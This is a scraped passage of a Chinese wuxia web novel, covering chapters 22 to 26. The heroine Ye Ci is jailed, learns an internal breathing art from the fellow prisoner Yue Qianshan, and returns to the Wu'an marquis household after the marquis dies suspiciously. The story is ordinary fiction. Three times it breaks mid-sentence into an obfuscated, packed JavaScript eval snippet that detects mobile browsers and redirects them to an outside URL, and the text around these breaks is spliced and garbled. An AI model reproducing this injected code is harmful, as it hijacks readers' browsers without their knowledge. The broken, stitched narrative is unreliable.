“呸!”狱卒啐了一口,“真晦气,没钱就自己忍着!哪家监狱还能免费帮你请大夫不成,看你是个小姑娘,本来没想要太多的,别得寸进尺……” 他说着便离开了,留下叶慈无奈地立在原地。 她眼下虽无能为力,但也不能自暴自弃,若是真病死在牢里,岂不是遂了武安侯府众人的意。 叶慈这样想着,盘腿坐了下来。 她想起从前看的话本子里讲过,大侠们受伤或生病之后,若是暂时无法医治,可以运气疗伤。她虽然不是大侠,武功也只是半路出家的三脚猫功夫,但眼下没有办法,也只能死马当活马医,有用没用也得试试才知道。 她一边深呼吸,一边试着运气,刚运了几息,却听到身侧的墙上传来“咚咚”的敲击声,像是隔壁有人用手在叩击墙壁。 大概又是老鼠在作怪。 叶慈没理会,昨夜她在睡梦中便总是听到窸窸窣窣的声音,这声音她很熟悉,小时候在山中,总有山鼠觊觎她家粮食,发出的便是类似的啮齿类动物的咀嚼声。还是后来乔二在院子里种了些荆芥,不时吸引来些山猫,才解了鼠患。 “咚咚咚”。 那声音又想起来了,叶慈忍无可忍地睁开眼,却连老鼠的影子都没看到,反而听到隔壁响起一道男声:“小友?” 她没应声。 “小友?可还好?” 那人语带关切,似乎并无恶意,叶慈忖了忖,还是答道:“什么事?” “你没事便好,我听你和那狱卒方才说话,你这是病了?” 叶慈拿不准那人究竟是好意还是恶意,只是说:“没有,有些不适应罢了。” 那人似乎轻笑了一声,道:“我听你声音气息虚浮,中气不足,似乎有些沙哑,可是着了风寒?” “你是大夫?”叶慈没正面回答,只是反问道。 那人哈哈大笑一声,道:“江湖游医罢了,略懂些医术。” 叶慈点了点头,又意识到对方看不见,才说:“嗯。” 隔壁却似乎并不介意她的冷淡,只是继续自顾自地道:“你若想快些康复,我可教你一法。” “不必了。”叶慈果断地拒绝。 “小友,别着急拒绝啊。这法子只需改变你的呼吸吐纳,有用还是无用,你试过便知。” 叶慈并不理会他的推销,重新盘腿坐了回去。 “小友,小友?”得不到她的回复,那人也不急不恼,似乎还饶有兴趣,“你想想,我对你不利,在这牢房之中,对我又有什么好处?再说了,你若真在这牢里出了什么事,这牢房一个一个的挨得那么近,到时候狱卒一问隔壁的友邻们便能知道事情原委,你又有什么好怕的?而且……” 那人说个没完,叶慈感觉自己耳朵都快起茧子了,她发了热病,本就头疼,听着隔壁这唐僧转世喋喋不休,从功法说道医术,又说道自己行走江湖的经历,更觉得脑袋都快炸了,便妥协道:“你说吧。” “我行走江湖二十余年,你这种小朋友我……什么?” 叶慈默默叹了口气:“我说,你说吧。” “说什么?” “你说的功法……”叶慈无奈道。 “这才对嘛。”那人声音又乍然变得欢快起来,随即清了清嗓子,语气正经地说,“你先盘腿坐好,双手放在膝盖上。” “嗯。”叶慈姿势未变,说,“好了。” “这么快?”隔壁狐疑道,“你不会在糊弄我吧?” “我方才一直都是这个坐姿。”叶慈不想再听唠叨,只好皆是道。 “好,那你先深呼吸,从现在开始,不用回应我,也不要受外物干扰,按我说的做就可以。” 她没接话,那人便继续说:“呼吸吐纳,聚气丹田,运气周天,神散四肢。” 他语气骤然严肃,说话也变得言简意赅起来,叶慈乍一听还有些不适应,但还没来得及多想,身体已经下意识地跟着他的口令呼吸吐纳了起来。 她将注意力集中于丹田,又尝试将真气运转全身,此为一周天,末了,将真气从四肢末端排出体外。 不过几息之间,她便觉得周身微微发热,又随着隔壁那人的口令运转几个周天,鼻尖甚至微微出了汗。 她就这样仿佛入定一般坐了一个上午,等回过神来,狱卒已经将午饭送来了,恶狠狠地问她:“不吃早饭?我告诉你,别觉得牢里还能有外面的条件,你不吃,自有人抢着吃,别身在福中不知福!” 他说着,便要将碗端走。 “我吃,谁说我不吃。” 叶慈一把抓住碗沿,那狱卒使劲挣了挣,发现自己竟抢不过眼前这看似柔弱的女囚,悻悻地松了手,摸摸鼻子:“力气还不小。” 将碗里的饭一扫而光,叶慈却觉得有些意犹未尽——倒不是说这牢里的饭有多好吃,而是她的病真的在好转,需要食物来补充体力。 “没吃饱?”隔壁像是预料之中地开了口,“哝,我的没动,你拿去吃吧。” 隔壁的门里伸出一只骨节分明的手来,手上虽有灰尘,但看得出是注意清洁的人,指缝与关节处都不染污泥。 叶慈突然想到,从前乔二跟她说,江湖上那些郎中大多都有洁癖,也不知真的假的,看到这只手,她却有些信了乔二的说法。 那只手从门里塞了一个馒头出来,又推向叶慈这边。 叶慈如法炮制,将馒头接了过来,道:“多谢前辈。” 那人像是笑了一声,道:“这会儿倒是知道叫前辈了?” 叶慈有些不好意思,只好笨拙地拍起马屁来:“前辈教的法子甚是管用,我感觉好多了,多谢。” 那人爽朗地哈哈大笑了几声:“有用便好!” 说罢,又自得其乐地哼起了小曲。 叶慈觉得这人甚是有趣,吃馒头的心情也好了许多。 待吃完饭,她又将那吐纳之法练了几遍,效果几乎立竿见影,只觉得周身越发轻盈,似乎状态比生病之前还要好。 “前辈。”她也学着隔壁的样子敲敲墙。 “嗯哼?” “这吐纳之法甚是有用,我似乎已经好全了。”末了,虽觉得对方并不会在意,但还是补了一句,“多谢。” “你可知这功法的名字是什么?”那人却猝不及防地问。 叶慈一愣,老实答道:“不知。” “此法名叫‘吹呴’。” “‘吹呴’?”叶慈在心中默默记下,只觉得是个奇怪的名字,“是哪位大侠所创吗?” 那人像听见了什么好笑的事,大笑了几声,将狱卒都引了过来,才说:“不是什么大侠,不过是一田间少年所创罢了!” 叶慈有些摸不着头脑,但见他没有告知的意思,也没再问。 她感觉自己病已大好,在这牢里待得时间长了,关节都要发霉了,站起来想练功,刚摆了藏渊剑法的起势,忽然想到了什么,又改了招式,重新练起了乔二从前教她的那一套。 她出手快而狠,挥臂而下的时候,便能听到“飒飒”的破风声。 “你是不是学过那个什么……劈柴剑法?”她正连着,忽然听到隔壁人冷不丁来了一句。 叶慈一惊,脱口而出问道:“你认识我师父?” “他,你师父?”那人语气似乎很不屑,“他也配收徒?” 叶慈被这突如其来的情况搞得一时语塞,一是不知道两人说的究竟是不是一个人,二是不知道这人说的若是乔二,语气中为何似乎对他有这么大的意见,两人之间又究竟有什么龃龉。 好在他也很快转移了话题,他叹了口气,叶慈几乎能看到他摆摆手的样子,听他道:“说起来,你在武安侯府有月余了,就没见那父子俩使过他们那所谓的‘藏渊剑法’?” 叶慈:“……” 她不仅见过,她还学了。 不过为了避免节外生枝,她还是将事实隐去了一部分:“见过。” “就没觉得熟悉吗?”那人问。 “前辈怎么知道?”叶慈更惊讶了。 她那时刚见赵明予练剑,便觉得其中招式眼熟,其中似乎有熟悉的影子,只是不敢承认。而后自己练时,更觉得上手奇快,几乎不需要怎么苦练,便能记住所有招式,让燕声和芳语连连称奇,直称她为“武学奇才”。 只是后来与芳语对招时,叶慈却有时觉得力不从心,似乎有什么东西隐隐阻挡着,让她无法把剑法中招式的威力发挥到最大。 “我教你的‘吹呴’,最初练时要盘坐着练,待融会贯通之后,便是站着、走着、跑着,甚至练功出招时、与人对战时,也都可以用以呼吸吐纳,知道了吗?”她正陷入沉思,却听到隔壁的人再次出声。 “知道了,前辈。”叶慈犹疑着,却实在抵不过好奇心的驱使,问道,“前辈,您究竟是什么人?” 那人听了,语气又轻快起来:“什么人?我之前不就说了吗,我乃一江湖游医啊!” 普通的江湖游医怎么可能会懂得这些呼吸吐纳之法,甚至光听风声就能辨识剑法,叶慈信他才怪,但她也没忙着拆穿,而是话锋一转,问“您怎么会被关到这里来?是遭人陷害吗?” “那倒不是。”他回答,“我夜里潜入药堂,想拿回……嗯,拿走,一本医典,结果被抓了个正着,我又不会武功,根本没得跑,就被押到这里来咯。” “前辈不会武功?”叶慈奇道,“那如何得知如此精密的内功秘法?” 那人顿了顿,失笑:“原来你早看出来这是内功了,小朋友,你早说啊,早知如此我还何必瞒你?” 他叹了口气:“我先前说过,这内功乃是一田间少年所创,而这位少年,其实是我的一位故人。” 23. 第二十三章 叶慈敏锐地注意到,他说的是“故人”,而不是朋友。 她虽然实在好奇这位神秘的狱友过去究竟有什么神奇的经历,但是直觉告诉她,最好还是不要深入追究为妙。 “我这位故人天纵英才,却性子张扬,以至于被奸人所害。” 他停顿一下,似乎陷入了回忆,良久,才忽然道:“你先前问我怎么知道你会觉得‘藏渊剑法’熟悉?” 那人罕见地冷笑一声:“因为这父子俩的剑法,本就和你那所谓‘师父’教你的劈柴之法,师出同源啊。” 叶慈听了,几乎如遭雷劈。 她虽然先前就觉得赵明予所用的剑法与乔二教给她的劈柴动作隐隐相合,但却打死也想不到这两者竟有这样的关系。 乔二教她时其实也从没提过这功法其实是剑法,只说用这些法子劈出来的柴又快又好,还是叶慈后来自己学了武功,才觉得这劈柴之法隐隐有些像剑法,并且真的将其融入到了剑法之中。 “怎……怎么可能?”她怔怔道。 乔二一届乡野村夫,从哪学的藏渊剑法,难道是从前有什么机缘,却只学了个八成,只能用于劈柴? 叶慈脑海中一瞬间闪过千万种可能性,最终停留在那日媒婆带着赵家父子上门时,乔二异常的反应上。 那时她便奇怪为何乔二似乎对赵渊格外有敌意,现在想来,或许他们曾经真有什么渊源。 她忙问:“前辈是如何得知这些的?能不能再说详细些。” 隔壁:“……” “前辈,求您了,这件事对我来说很重要。”叶慈央求道。 那人长长地叹了口气,道:“不是我不想告诉你,只是还不是时候。” “不是时候?”叶慈似懂非懂地重复了一遍。 “对。”那人回答,“等你变得更强大,到时候,自然会知道所有事情的原委,包括你的身世。” “我的身世?”叶慈惊奇地问,“我不就是普通的孤儿吗?” 隔壁再次沉默了下去。 “前辈,您究竟为什么会知道这些关于我的事?” “……” 看来是问不出什么了。 更“强大”……叶慈在心中反复咀嚼着这个词。 她虽然甚至连隔壁人的脸都没见到,却觉得这人光听声音就有种莫名的熟悉感与亲切感,让她不由自主地对他的话感到信服。 而现在,她想要变强的决心从没有如此坚定过。 她想,这世上没有人能让她全新依赖,唯有变强,才能不受人欺辱;唯有变强,才能知道所有前尘往事的真相;唯有变强,才能得到真正的自由,行从前不可行之事,做从前不敢做之人。 她要变强,她必须变强。 叶慈这样想着,沉默地离开墙边,又坐到了茅草堆上,练习才学会的内功。 “咚咚”。 隔壁听她半晌没声音,又敲了敲墙。 “怎么,受打击了?”他问,语气仿佛长辈关爱晚辈一般。 叶慈正凝神,下意识地摇摇头,突然意识到对方看不见,这才出声道:“不是。” “那怎么不说话?” “我开始练功了,前辈。”叶慈一板一眼地说。 隔壁的人又哈哈大笑起来:“不错不错,我就知道你没这么容易气馁!是块可造之材。” 他后面又说了什么,叶慈已经无心去听,也听不见了,她便很快以“吹呴”之法入定了。 武安侯府未给叶慈定罪,茌宁城衙门也无法擅自处置这尊名义上还是武安侯世子夫人的大佛,便将她暂时安置在了地牢中。 这地牢环境虽差,但至少一日三餐一顿不少,也没有凡尘琐事打扰,叶慈不仅没觉得自己在蹲监狱,反倒有种闭关修炼的感觉,每日都能感受到自己内劲的增进,剑法也进步飞快。 从前她只是跟着赵明予练,照猫画虎,照本宣科,如今少了参照,有时自己琢磨时反而若有所悟,竟反而能将赵家父子的“藏渊剑法”与乔二从前教给她的“劈柴剑法”融会贯通了。 不过半月,她便明显地感受到了自己武学上的进境。 如今的叶慈,已经与从前截然不同了,若用隔壁神秘人的话说,便是“已有大侠风范”。 当然,她也并未自满。 这些天除了练功,她便会与隔壁的“江湖游医”聊天解闷,从他口中知道了许多江湖事,也知道人外有人、山外有山,在武学一道上,矜傲自满是大忌中的大忌。若是同等实力的人对招,其中一人对对方有所轻视,那那个人就必然会棋差一着。 对对手的尊重,便是增加自己胜算最好的方式。 这一日,照常到了饭点,狱卒发完其他犯人的饭,却另给叶慈端来一份,与往日的大为不同,不再是发霉的馒头和烂菜叶子,而是变成了精米与新鲜蔬菜,甚至还有个卤鸡腿。 “这是何意?”叶慈无功不受禄,生怕这是武安侯府送来的断头饭。 那狱卒却对她客气了许多:“嗐,这不是侯府派人打过了招呼,夫人您啊,或许不日便能回去了?” 叶慈听得一头雾水,按说自己知道了赵明予和仇嬷嬷的秘密,那二人应当巴不得自己快消失才对,不过半月的光景,怎么会突然改变主意? “可是侯府出了什么事?”她问。 果然,那狱卒叹了口气,说道:“是啊,近日侯爷病重,侯府上下都乱成一团了,因此府衙才一直拿不定主意,究竟该如何给夫人你您定罪。这不,好在今日来了消息,说世子爷亲自拿了侯爷信物,说侯爷自觉时日无多,感念夫人你从前照料世子,也是有功,功过相抵,让我等不得冒犯您,估计不日便要将您接回府上去了吧?” 叶慈点点头,示意知道了,心里却一个字都不信。 先不说武安侯这病来的蹊跷,虽然此前听他说话时不时咳嗽,但却还是康健之相。她想起那日在后厨听赵明予和仇嬷嬷说,要“提前计划”,总觉得武安侯这病大有猫腻,而且多半与他那好儿子有关。 至于为什么要将自己接出去……叶慈琢磨着,多半又是有什么计划,需要自己在其中充当棋子。 只是——赵明予或许觉得他将叶慈放出去,叶慈会心怀感激以至于对他感恩戴德、言听计从,但叶慈自己却知道,绝无可能。 狱卒的话,隔壁的“江湖游医”自然也听见了,待人走后,他便敲敲墙,问:“小友,你出去后,还想不想继续待在侯府了?” 叶慈没有丝毫犹疑,果断道:“不想。” “这些天听前辈说话,才知道江湖之大,我还有许多地方未曾去过,对这世间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我也不知道。”那人道,“这便是我想调查的真相了。那些人说这泉东村白日里与寻常村子无异,村民们也确实热情好客,只是一到了晚上,便总是能在村子里听见些怪声,若醒来查看,便能看见鬼影。更诡异的是,这些生成自己看见过鬼影的人,也渐渐没了踪迹。” “小友,你说,这究竟是真的闹鬼了,还是有人在搞鬼?” “自然是有人搞鬼。”叶慈道,“这些说自己见过‘鬼影’的人,大概便是被幕后之人灭了口吧?” “英雄所见略同。”隔壁人赞许道,“不过这‘鬼影’究竟是什么,还是让人颇为好奇啊!” “不过,前辈。”叶慈略有些担忧地道,“您说的这村子诡异至极,您不会武功,自己去,安全吗?” 那人哈哈大笑:“劳小友关心了!不过……山人自有妙计。” 叶慈欲言又止几回,最终还是忍不住问道:“前辈,相处这些时日,不知可否问您名讳,若以后在外头碰见,也好知道怎么称呼您。” 那人哈哈一笑,却并没有如叶慈想象中一般推三阻四,而是十分爽快地说—— “鄙人行不更名坐不改姓,正是越千山。” 24. 第二十四章 “越千山?”叶慈听了,大惊,“您便是药堂那位不世出的天才?” “天才不敢当,只是在医之一道,比旁人更能融会贯通罢了。”越千山并不以为意,“再说了,什么天才不天才的,现在不还是被那位盟主和侯爷打为什么……‘白衣党’吗?” 叶慈在武安侯府时,曾听曾家兄妹提起过,越千山身为神医,却始终想为那位前武林盟主阮流逸翻案,以至于被打为“白衣党”之流,逐出了武林盟。 没想到,这般好似只存在于江湖传言中的人物,竟与她做了这么久的狱友。 “失敬了,没想到竟然是越前辈。” “小友,你怎么也来这一套。人生在世,大家并无不同,切莫被这些虚名困住了!” 叶慈从曾家兄妹口中知道越千山其人后,其实对他颇为好奇,也曾在一些文人墨客的游历散记中查过关于他的江湖传说。 那些书中,大部分都对他颇有赞许之词,有人说他有真正的“侠”者风范,有人说他“游戏三昧”,乃是真正的潇洒与自由。 叶慈从前不以为然,如今一看,倒真如此。 她便也放松下来道:“越前辈说的是,是我狭隘了。” 她在心中默默记下越千山方才提到的地名,决心等重获自由身后,也要去游历一番。 又过了三日,武安侯府中传来讣告,说侯爷薨了。 这一消息传来,打得叶慈猝不及防。有了前些天狱卒报信,她虽对于武安侯之死有心理准备,却没想到来得竟这么快,想必是赵明予等不及了,只是叶慈却绞尽脑汁也想不通,他究竟为何如此迫不及待。 装成痴傻孩童蛰伏六年,怎么眼见功成却沉不住气了? 对这一消息感到震惊的不止叶慈,连狱卒们也觉得颇为蹊跷,茶余饭后总在议论这件事,只是无一人怀疑过武安侯那痴傻的儿子赵明予。 “哎哟,你们听说了吗,据说这武安侯的死状可不正常。”一个狱卒神神秘秘地说。 “是啊,城里头都传开了,说侯爷死时七窍流血,像是练了什么邪功,静脉爆裂而亡啊!”另一人接话道。 “可不嘛,我有一兄弟在侯府当差,据说发现侯爷尸体时,他就在现场,他说侯爷是在自己书房里死的,死时书桌上摊着本来路不明的武功秘籍,正翻到一半呢!” “嘶——你们说侯爷功夫已然登峰造极,怎么还要练这些邪门的东西啊?” “嘘……你可小声点!我听说啊,这习武之人多有心魔,若是无法勘破,下场大多……” “唉,只是这侯爷去得突然,也不知小世子可怎么办啊。” “是啊,这小世子心智不全,侯爷一去,不知道多少对侯府虎视眈眈的人便要下手了……” “所以才要放这名义上的媳妇儿出去撑撑场面吧……” 他们以为自己声音很小,却不知习武之人耳目清明,他们说的话全都只字不落地传到了叶慈耳朵里,她在心中冷笑,小世子可精着呢,用不着列位操心,不仅如此,她既然敢让武安侯暴毙,想必心中早想好了后招,以他的心计,那些想对侯府下手的人,怕是真要吃不了兜着走了。 她正想着,隔壁传来敲墙声,接着越千山的声音便响了起来:“小友,你给这武安侯当过儿媳妇,你怎么看?” 叶慈想了想,小声道:“前辈,不知前辈可听说过《七脉秘功》?” 越千山沉默半晌:“听过是听过,但这功夫邪得很,你从哪看来的?” “还有《居阴秘引》、《灵蛊遂源》。”叶慈补充道。 “小友。”越千山的声音陡然变得严肃,“这些书你都是从哪找来的,这江湖邪功虽听着厉害,短时间内也确实能增加功力,但若是练久了,不仅体内内力相克,严重时甚至会真气乱窜,七窍流血而亡。” “这死法可堪称是最难受的死法啊,你可别想走捷径,练武一道,最是忌讳这些……等等,这死法怎么听着这么熟悉?”越千山正要喋喋不休,却突然想到了什么,问,“赵渊?” 叶慈道:“对,我曾经……去过武安侯的书房,那时是夜里,他或许没想到有人会看到,便把书都大剌剌地放在了桌面上,正是我说的这几本。” “那怪不得了……”越千山喃喃道,“但是就算是练了这些功夫,也不该死得这么快啊,不然这些邪功一练就死,谁还会去练?” “嘶……倒是还有一种可能性,那就是被人喂了强健筋脉的药。” 叶慈想到一个人,通医理,且不会被赵渊防备,但不知该不该说,便没吭声。 越千山仍在喋喋不休地自言自语,也不知是太久没人陪着说话了还是如何,这些天他时常这样,叶慈都习惯了,只静静听着。 “单喝药,和单练功,都不会造成筋脉爆裂而亡这么又急又猛的效果,但若是在练功的同时喝下强健筋脉的补药,邪功练成的真气便会更刚猛,在体内乱窜时便更无法控制,如此,便会久练邪功之人本就筋脉紊乱,再加上无法控制的真气,暴毙也不奇怪了。” 叶慈听着,大致对赵明予的杀人过程有了个猜测。 “这么杀人,倒是精妙,也不知怎么想出来的,既利用了赵渊这些年来的心魔,又能杀人于无形,把自己摘得干干净净,倒是个聪明人,若以后有机会,定要认识认识。” 叶慈在他的话中咂摸出了点不同寻常的味道。 “前辈,你知道赵渊的心魔是什么?”她问。 越千山沉默了一会儿,才道:“知道,不过是将一个人当成了假想敌罢了。那人生前,他比不过,死后,却发现自己更不如他了,久而久之,便疯魔了。” “这假想敌……是谁?”叶慈问。 越千山:“……得了藏渊剑法真传的人。” “这藏渊剑法还有真传?”她想起乔二教她的劈柴剑法,心中升起一个大胆的猜测,“难道我师父……” “他的路子对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他见叶慈似乎并不情愿的样子,又补充了一句:“哦对了,世子还说了,您先前犯的错便一笔勾销了,从此以后您好好做您的夫人,世子也定会好好待您的。” 他说完又兀自感慨道:“哎哟,没想到这小世子,不对,该说是未来的侯爷了,虽然心智有缺,却是个会疼人的,夫人,您可真有福气啊!” 叶慈不愿理会他,只是跟着他出了牢门。 临走前,她看向隔壁牢门内,越千山仍靠墙坐着,头发被悉数束了起来,牢房中没有梳洗的条件,有几绺散落下来,却不显得乱,反倒为他平添几分恣意潇洒。 他像是知道叶慈会与他道别,一张脸隐在阴影中,看不清神色,只抬起一只手,随意地摆了摆。 像是在说—— 江湖再见。 25. 第二十五章 许久没见过外面的阳光,刚出地牢,叶慈的眼睛有些适应不了太过刺眼的阳光,便抬起手微微遮了一下。 她眯着眼睛,看到一辆马车停在不远处,只是并不见赵明予的身影。 方才狱卒的话让她生了歧义,还以为赵明予亲自来了,如今没看到他,叶慈又觉得自己不切实际的幻想甚是可笑。 那狱卒不知是不是看出了什么,解释道:“夫人,侯爷刚没,府中事务繁多,小世子一时脱不开身。” 叶慈摆摆手,示意他不必再说了。 即便赵明予此刻还不能暴露自己其实并非心智有缺的事实,但即便是冲个门面,侯府中也需要他这个傀儡。 但这种仿佛物件一般可以随意被人从侯府丢到地牢,又从地牢拿回侯府的感觉,叶慈不喜欢。 很不喜欢。 不过这次,她选择顺从。 布防严密的地牢她逃不出去,一个乱成一锅粥的侯府她还逃不出去吗? 叶慈稳稳地走上马车,这一次,不,从今以后,她都不再需要任何人的搀扶了。 赵渊的暴毙,不仅让侯府内人心惶惶,连茌宁城中的侠客与百姓也议论纷纷。一路走来,叶慈听到几乎人人口中都在议论此事。 “这武安侯死得蹊跷,茌宁怕不是要乱了吧?” “哎呀,这老侯爷去世,小世子又不中用,天下武林怕不是要由武林盟一家独大了吧?” “你说这老侯爷,究竟是不是中了什么奸计,被人害死了?” …… “也不知侯府是不是后继无人了,且看小世子此番扶灵回京,皇上怎么说吧。” “我听说小世子这次回去,皇上要为他亲自主持加冠礼,这是要让他袭爵的意思啊!” “这怎么成!小世子那脑子……唉,若真如此,这天下岂不要乱了套了!” …… “你听说了吗?好像昨晚那武林盟主已经有所行动了,怕不是……” “盟主仁厚,怎么可能是那样的人?” “那可说不准,据说老侯爷生前,那盟主便按捺不住了,似乎还为了统一魔教的事和侯爷争执颇大呢!” “嘘!你不要命了,小心武林盟的人听见了,今晚你这项上人头就不保了!” …… 叶慈听着,只觉得这看似祥和的茌宁城中,实则全依靠武林盟与武安侯着两方势力制衡,若一方不济,那便是暗潮汹涌。 武安侯府中丧气的气氛仿佛感染了整个茌宁城,连街市都不如往日热闹,叶慈觉得无趣,便放下车帘,闭目养神了。 地牢为方便看管犯人建在城郊,好在茌宁城并不大,片刻便到了武安侯府。 昔日繁华的武安侯府此刻一片缟素,总是悬挂在门楣上的大红灯笼也被撤了下来,换成了白色的。 芳语和燕声在门口迎接她,脸色一个比一个难堪,看见她,眼眶当即就红了。 “夫人,你受苦了……”芳语哽咽着说。 “是啊夫人,我们都知道你是冤枉的,那仇嬷嬷一向看您不顺眼……” 燕声话才说了一半,便被芳语拉拉袖子制止了:“嘘!侯府里现在到处都是仇嬷嬷的眼线,若让她听见,你就完了!” 叶慈心里有了些数,如今侯府的形式果然与她想的差不多。 像芳语燕声这种侍女小厮,现在应当都还不知道赵明予一直在装傻的事实,还以为这侯府如今虽名义上的主人是赵明予,却实际上是由他亲近的仇嬷嬷掌权。 她默默想:这小子扮猪吃老虎还真有一套。 “夫人看着都瘦了,燕声今晚定叫厨房给夫人做点好的,好好补补。”燕声道,又露出几分为难的神情,“只是现下,还请夫人随奴婢沐浴更衣,小世子奉皇命扶灵回京,今日便要启程了。他说走之前,还想再见夫人一面。” 叶慈点点头,她虽不知赵明予这唱的是哪一出,不过他既然将戏台子都搭好了,那她也不介意陪他登台唱上一唱。 待到一切都收拾妥当,武安侯府这个四方院子已被阳光渡得金黄。 前厅被作为灵堂暂用,房梁柱子上都挂满了灵幡,风一吹,那些白布便飘起来,瞧着像是不知谁要来索命了一般。 马车已备好,停在了府门前,只待赵明予一声令下,便可发棺。而此刻那玉一般的人儿一身缟素,站在马车旁,额头上还缚了条白布抹额。 他眼下微红,一双眼睛中透着惊慌,像只被人抓住耳朵的白兔。 乍看过去,真有几分家中突然遭逢变故的贵公子,慌乱无措的样子。 叶慈看着他,心中竟然不着边际地想:那些人说,要想俏,一身孝,似乎还真有几分道理。 赵明予望过来,正好对上她的眼睛,一双眼倏地亮了,忙快跑几步过来,一把抓住她的手,又将她上上下下地仔细端详了一遍,道:“娘子,我好想你。” 叶慈冷冷地想:还在装。 她连一副好脸都懒得给赵明予,只想看他这一出独角戏该怎么继续往下唱。 赵明予见她不理,眼眶又红了,似乎很是痛心疾首地道:“娘子,我知道你怪我,但从前我是迫不得已,如今……再没什么东西能阻碍我们了,你相信我,等我从京城回来,一定会千倍百倍地补偿你,好不好?” “你再信我最后一次,好不好?” 他字字泣血,叶慈却只觉得好笑。 赵明予似乎觉得玩弄别人的真心很有意思,她恶劣地想,那便也让他体会一下被人玩弄的感觉好了。 于是她咧开嘴,尽力挤出一个看似感动的笑容,道:“好。” 赵明予的瞳孔震了震,接着,他像是震惊,又像是狂喜,竟抑制不住情绪一般,一把将叶慈拽进了怀里,一双手臂将她箍得生疼。 “娘子原谅我了?太好了,太好了,我就知道……” 他又喃喃自语了好一会儿,将木偶一般的叶慈紧紧抱在怀中,直到侍卫催促,才恋恋不舍地松开手臂,又牵起叶慈的手,直到上马车的前一刻,还舍不得放开。 自始至终,叶慈也没明白他临行前把她叫来,心里究竟打的什么算盘,是做戏给外人看,亦或又是他谋划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304130|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的另一盘棋? 叶慈不知道,但赵明予的演技实在精湛,他惊喜的神情不似作假,倒好像是,他真的只是想在临行前见她一面。 赵明予上了马车,叶慈也敛了装出来的感动神情,木然地立在旁边。 “起棺——”礼官中气十足地喊道。 连绵的车队动了,赵明予坐在最前面那辆上,不知怎么的,那马车刚走几步,他却突然似有所感一般一把掀开车帘,将整个身子都探了出来。 “世子危险!”护在旁边的侍卫道。 赵明予却并未理会,他探身离叶慈近了,几乎与她额头抵着额头。 疾风骤起,将二人的头发都吹乱了,夕阳的余晖洒下来,将发丝映得近乎透明,他不知是不是被尘土迷了眼,似乎噙着泪光,向即将被马车抛在后面的叶慈伸出手去—— 他珍而重之地抬起手,却只是为她将一绺鬓发别到了耳后。 叶慈突然意识到,那正是自己与他定下婚约时,割下的那一绺。 赵明予似乎张了张口,好像想说什么,却最终没说出口,马车已经行进起来,他只来得及给叶慈留下了一个眼神。 那眼神缱绻极了,仿佛含着千言万语。 不知怎么的,叶慈觉得那一瞬间,赵明予没在演戏。 不过时至今日,无论他究竟是不是在演戏,叶慈都已不愿再与他有所牵扯了。 她接下来的打算,便是在侯府中修整几日,然后就趁着侯府无主逃出去,从此江湖逍遥,再也不必管这些蝇营狗苟。 燕声陪她来给赵明予送行,芳语则留在房中为她准备吃食,二人刚到院门前,便听到一阵争吵声。 “我们夫人怎么说也是侯府如今唯一的女主人,我不过是去你们厨房要点阿胶,想拿来给我们夫人补补身子,有什么不合规矩的?” “哎哟,芳语姑娘。”一道中年妇女的声音响起,阴阳怪气的,让人听了甚是不舒服。 “这阿胶可是珙县进贡的阿胶,天下都难得,这还是皇上亲自赏给侯爷的,你主子不过是个野丫头,也配吃这种好东西?” “你!你说谁是野丫头!”芳语的声音像是气极了,“我们夫人就算出身不好,但此时此刻,也是世子的正牌夫人,在这府里论地位,是你的主子,主子想吃什么便吃什么,轮得到你这个老太婆来管?” “你个疯丫头说谁是老太婆!我说句不好听的你可别见怪,你们要是真识相,还不如早点寻个别家当主子。如今世子入京可不只是扶灵,皇帝那是要给他加冠的,加冠完了就是袭爵,你真当将来的武安侯夫人能让一个乡下野丫头来当啊?要知道,世子的亲生母亲可是当今皇上的亲妹安宁公主,世子生来便身份尊贵,怎么也得配个郡主县主的,你那主子,我看顶天了能当个山大王!” 她说罢,像是把自己逗乐了一半,哈哈大笑起来,芳语说不过她,急得半晌除了“你”之外憋不出别的话来。 正当这时,院门外却传来一道女声,声音略低,不怒自威。 “怎么,你是想效仿仇嬷嬷,来教训我不成?” 26. 第二十六章 叶慈推门而入,看到一老一少两个身影对峙着分站两侧,其中老的那个她也有些眼熟,是在厨房做工的李婆子,从前便听说她爱偷吃主子东西,总做些小偷小摸的事,没想到如今甚至敢欺负到主子头上来了。 李婆子见叶慈推门进来,不知是因为叶慈与她想象中乡野村妇截然不同,还是因为她周身冷冽的气质实在看起来有些不好惹,竟被吓得怔了怔,才又强撑着挺直了腰板,不让自己的气势被压一头,说道:“您是主子,奴婢自然不敢教训您。只是这阿胶乃是贡品,珍贵非常,您的贴身丫鬟却随意便从厨房拿走了,老婆子我可不知要如何与嬷嬷交代啊!” 她口中的“嬷嬷”,除了如今名义上一人之下的管事仇嬷嬷,想来也没有第二个人了。 “芳语。”叶慈面无表情,看不出喜怒,只是吩咐道,“把东西还回去。” 芳语不可置信地看着叶慈:“主子,您这可是让这些婆子欺负到头上来了,以后咱们院子的脸面要往哪搁啊!” 叶慈忽略了她语气中的冒犯与不满,又重复了一遍:“把东西还回去。” 芳语虽不服气,但见叶慈态度坚决,还是不情不愿地进了里屋,将盒子拿出来,递给了李婆子。 